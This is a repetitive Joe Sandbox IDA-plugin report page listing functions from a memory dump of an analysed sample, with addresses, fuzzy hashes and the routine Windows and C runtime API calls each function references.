Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 420620b8ca5665b2aab043c4f852f3a66f8917ab6d22f6463380c731d114e54b
Instruction ID: 99c32c30124313402f186814aeb9a4b2b9d5021b0e8f40fe972d4b7e73e137b7
Opcode Fuzzy Hash: 420620b8ca5665b2aab043c4f852f3a66f8917ab6d22f6463380c731d114e54b
Instruction Fuzzy Hash: 2E41B522A2D74DD2EB54AAE5E0486BDA790EB80F90FC44135DE4E0B3D5EF2CE441E720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D06953C Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF73D069564

Part of subcall function 00007FF73D0696F4: GetModuleHandleExW.KERNEL32 ref: 00007FF73D069714
Part of subcall function 00007FF73D0696F4: GetProcAddress.KERNEL32 ref: 00007FF73D06972A
Part of subcall function 00007FF73D0696F4: FreeLibrary.KERNEL32 ref: 00007FF73D06974F

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: 73d6f54b0acb00cf1a15c6ed6d1caf4ae53321abc405d297f96d6bbb808fe526
Instruction ID: 992c40340b10e4e9d6abfbeb28d5190a6653f16612fe1c49afc518d1844c6ba8
Opcode Fuzzy Hash: 73d6f54b0acb00cf1a15c6ed6d1caf4ae53321abc405d297f96d6bbb808fe526
Instruction Fuzzy Hash: EC41B661B0D64A62FF64BBD5E490278E291EF80F40F914039EA4D07A95FF7EE841A760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D081764 Relevance: 1.6, APIs: 1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b86d169e7560afa4168aed7a2dabe5f2bbf259b4efa93bae5d3df2e0b759e832
Instruction ID: be8bd6af9a2d2b7871a7fc811801be056497913c69e1aa8772f8413369710f4e
Opcode Fuzzy Hash: b86d169e7560afa4168aed7a2dabe5f2bbf259b4efa93bae5d3df2e0b759e832
Instruction Fuzzy Hash: 94219132E1C29EA5E6467B95A842279A550EF40FB0F844235E93D0B3C2EF7CE445A731

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D087294 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF73D0872C4

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 37c30ed743e6fe035d3229a037d1cac9763c3b3bf9a910d867315d60c1ecf4a2
Instruction ID: 541f06db1edcfa865a0b49c626daec3f48626e4f62fbc092274532cf40eb7c22
Opcode Fuzzy Hash: 37c30ed743e6fe035d3229a037d1cac9763c3b3bf9a910d867315d60c1ecf4a2
Instruction Fuzzy Hash: 0D21B83271C64A97E7659F65E440379F6A0FB80F94F984234EA5D8B6D9EF2CD800DB10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D074E70 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF73D074DC5

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 88ab99aa87087ad1a70f3e83b75018af7658d158f870478646eef4fc27f1698c
Instruction ID: 3bb56fafdb5ee8d17568af92b20126d032499d96265782d12240ae6ab0e496a9
Opcode Fuzzy Hash: 88ab99aa87087ad1a70f3e83b75018af7658d158f870478646eef4fc27f1698c
Instruction Fuzzy Hash: E8216821E1C68A92EA11BFA1940127DE2A4FF85F94F844031EACD5B786FF7CD851A760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D05D3F4 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00007FF73D05D3E1,?,00007FF73D044D38,?,?,?,00007FF73D04109E), ref: 00007FF73D05D41F

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: FullNamePath
String ID:
API String ID: 608056474-0
Opcode ID: a8a5c42c0e559ad8975266ed99cfad1825e8ea03dea72994fda0d1a736c72af8
Instruction ID: 8ecd142d62acc6dae559c2f3832ba2e009c7b228890059f58555e43f810fa3f1
Opcode Fuzzy Hash: a8a5c42c0e559ad8975266ed99cfad1825e8ea03dea72994fda0d1a736c72af8
Instruction Fuzzy Hash: 7821D3A2B0C646A2EA20AE95D4445A9A265FB44FF0BD48332DE3D037C4EF2CE405D720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D04821E Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32 ref: 00007FF73D048240

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: BuffCharUpper
String ID:
API String ID: 3964851224-0
Opcode ID: 56393265e315f6ff5f2de10b045bb79311e4ca45e2a59672c8d0e507381c0e1d
Instruction ID: d13c5dccad829d053316144ed525c27f624395b4dfe12c750fa5f433042057b6
Opcode Fuzzy Hash: 56393265e315f6ff5f2de10b045bb79311e4ca45e2a59672c8d0e507381c0e1d
Instruction Fuzzy Hash: 3F115163B2C525A5F700FBA0E8859EDA330BB44B98FC04531DE0D57699EF38D545D760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0809A4 Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a4e07173e9f7574589059edf82f2461b7aae2439eb3de9887c313aaa57e5450
Instruction ID: 2499c05badc2138d1ef3dbc8dae80f8e34be908dfefda067315ce517e41009ff
Opcode Fuzzy Hash: 8a4e07173e9f7574589059edf82f2461b7aae2439eb3de9887c313aaa57e5450
Instruction Fuzzy Hash: 8A114F7291C78EA6EA05BF94E5412BDB7A0FB80B50FD04136D64D062D5EFBCD011EB20

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D074E7C Relevance: 1.5, APIs: 1, Instructions: 40COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF73D074E99

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: e6747fa68c83f02aa5b61b159413dda23bc7a61a72d626830e83826ae3701ea6
Instruction ID: e8bdd0dcbe19611bd4ef160053e5ba5c05f6f3bce9bf7383db8d532e9ba314a9
Opcode Fuzzy Hash: e6747fa68c83f02aa5b61b159413dda23bc7a61a72d626830e83826ae3701ea6
Instruction Fuzzy Hash: FE018F21F0D24E61FE15BAFA942127891509F84F74FA40230E96D4F2C3FF2CE802A221

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0D2008 Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

GetEnvironmentVariableW.KERNEL32 ref: 00007FF73D0D205D

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: EnvironmentVariable
String ID:
API String ID: 1431749950-0
Opcode ID: 20c6f65d1df3769074f460e468364357190ae2640d200faa11f6914117d46d50
Instruction ID: 4ca4d2bffe05feffc28811533c351f76a4d01ef319e3d8061aa2764ba73e4bad
Opcode Fuzzy Hash: 20c6f65d1df3769074f460e468364357190ae2640d200faa11f6914117d46d50
Instruction Fuzzy Hash: 8F018022B0C68691EA10EFA6E45416EE361FB89FC4F848031EE8D4FB5ADF2CD5419710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D074F00 Relevance: 1.5, APIs: 1, Instructions: 33COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF73D074F29

Part of subcall function 00007FF73D074E7C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF73D074E99

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 5fbfccecc71f82971e57ac689462e9fba0fd08a016eea3ffd4428c8df8cfa77b
Instruction ID: 2d4bd6d10a1a4a658e167fefc7dbe047d5faae53ff68b21c58ee313192872302
Opcode Fuzzy Hash: 5fbfccecc71f82971e57ac689462e9fba0fd08a016eea3ffd4428c8df8cfa77b
Instruction Fuzzy Hash: 64F0B431A0C24F62F915B7FAA40117AE280AF40FA4F944130F99D8B2C7FF2CE452A631

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D07534C Relevance: 1.5, APIs: 1, Instructions: 32COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF73D075378

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: f78054f7d5eb678538994d018b0a8887c356fc70a8ca24674a5b233fb00b8835
Instruction ID: 01b2dd3bf7757e9a59fc8a25becfa08a2785326b8da8c8f67a5c0dbd52c880a9
Opcode Fuzzy Hash: f78054f7d5eb678538994d018b0a8887c356fc70a8ca24674a5b233fb00b8835
Instruction Fuzzy Hash: 6BF0BB21B1C28AA1E750B7E5A84507ED150FF84FD0FC09534FA5D8B697FF5CD4405620

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D09F58B Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00007FF73D09F597

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 27d70fe15cedb91f0c707eda54446ee438f458e61c4bcc142ec35e77f27a51d7
Instruction ID: 22da6b72fb897eb08b55898b477a3b292e0f04c5277cd83d6164bd58d0532d45
Opcode Fuzzy Hash: 27d70fe15cedb91f0c707eda54446ee438f458e61c4bcc142ec35e77f27a51d7
Instruction Fuzzy Hash: 84F0BB62E0D14965FB62ABF1E0003BD9585EF84F68F844432CF0D01595DF3CE4D66321

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0755C8 Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF73D0755E9

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: eef746bd789527b658435af8f875a880969933daf181347e339721a05b8d246f
Instruction ID: 504365a0804334f4ebac9f3c680b78073a2b2c0f538846c603474daca245e4a0
Opcode Fuzzy Hash: eef746bd789527b658435af8f875a880969933daf181347e339721a05b8d246f
Instruction Fuzzy Hash: 39F09061E1D68E61FA517AF498461B9A290BF80B60F804234F92D4B2C2FF2CE441AA30

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D07CAAC Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL ref: 00007FF73D07CAEA

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: cd862a4a8f5d34af88c681f93c50cdcba01ed7047e169143b66042da92cecb3b
Instruction ID: 5fa2203e440890a5da720f665b3f84d535c0d12860c2f167a32d5f164c7eacc4
Opcode Fuzzy Hash: cd862a4a8f5d34af88c681f93c50cdcba01ed7047e169143b66042da92cecb3b
Instruction Fuzzy Hash: 22F03A00F0D28A75FE54BAE168516B592809F44F65F884234F82E8A6C6FF6CE440A134

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D05C8EC Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: e573bc09bc07a92afcb742b639a9cfa09fa1281bfd06aa140fa3c949f6d2b161
Instruction ID: 3b7e027234b693f659ee7b3698805cb65e19efea0c55c420d0c532a71ab7e257
Opcode Fuzzy Hash: e573bc09bc07a92afcb742b639a9cfa09fa1281bfd06aa140fa3c949f6d2b161
Instruction Fuzzy Hash: DEF05E52A0DA0996FF19EFF1D05533C6360BB54F08F940530DE0E4A289EF6CD468A365

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D05CB08 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF73D05CB35

Part of subcall function 00007FF73D0751EC: fread_s.LIBCMT ref: 00007FF73D0751FF

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: _fread_nolockfread_s
String ID:
API String ID: 3465328306-0
Opcode ID: ee1277ce7a7d8f2a09b78b2797085459d396215e70b35cbba145e6d31d2a724c
Instruction ID: 66c293f7a503da3d246383f7aa69ecba39ab31503cc2245a99e10e14fbf5b1cc
Opcode Fuzzy Hash: ee1277ce7a7d8f2a09b78b2797085459d396215e70b35cbba145e6d31d2a724c
Instruction Fuzzy Hash: B8E0E592A2CA8992DB049BA3D041B6D9320F7A5FC8F101021FE4E0B750DF3DC549D700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0651A8 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF73D06519C

Part of subcall function 00007FF73D065B48: std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF73D065B51
Part of subcall function 00007FF73D065B48: _CxxThrowException.LIBVCRUNTIME ref: 00007FF73D065B62

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: Concurrency::cancel_current_taskExceptionThrowstd::bad_alloc::bad_alloc
String ID:
API String ID: 1680350287-0
Opcode ID: 0478e6662ed36811baf1c6c7577958fa3f74e809c5628010e8f9886d45ebdaf5
Instruction ID: 811643d825648f0cc0297e2f1337b2a37dc397bea3904da3766e4d3745821e1b
Opcode Fuzzy Hash: 0478e6662ed36811baf1c6c7577958fa3f74e809c5628010e8f9886d45ebdaf5
Instruction Fuzzy Hash: DEE09240F1E10F61FD2972E219191B9C1848F19B70EAC2B34E93D0A6C2BF1CA451A170

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D042B07 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73D043370: Shell_NotifyIconW.SHELL32 ref: 00007FF73D043468

Part of subcall function 00007FF73D0505A5: GetInputState.USER32 ref: 00007FF73D0506AA

SetCurrentDirectoryW.KERNEL32 ref: 00007FF73D042B48

Part of subcall function 00007FF73D042E98: Shell_NotifyIconW.SHELL32 ref: 00007FF73D042EEE

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: IconNotifyShell_$CurrentDirectoryInputState
String ID:
API String ID: 3667716007-0
Opcode ID: 9762e545bb75ebbb67050f253b42ab6f247ccbd827f2feb79cb7ebf54098b814
Instruction ID: 34c55dc99f1b5e3be23af5c6d5151d82911d6712c6e827391f4495b4ddc16f57
Opcode Fuzzy Hash: 9762e545bb75ebbb67050f253b42ab6f247ccbd827f2feb79cb7ebf54098b814
Instruction Fuzzy Hash: 27F03A62E1C41BB2F601F7A0F8552B9D2217F90714FC40031D50D410B2BFADE989AB20

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D05D4C0 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNELBASE ref: 00007FF73D05D4E4

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
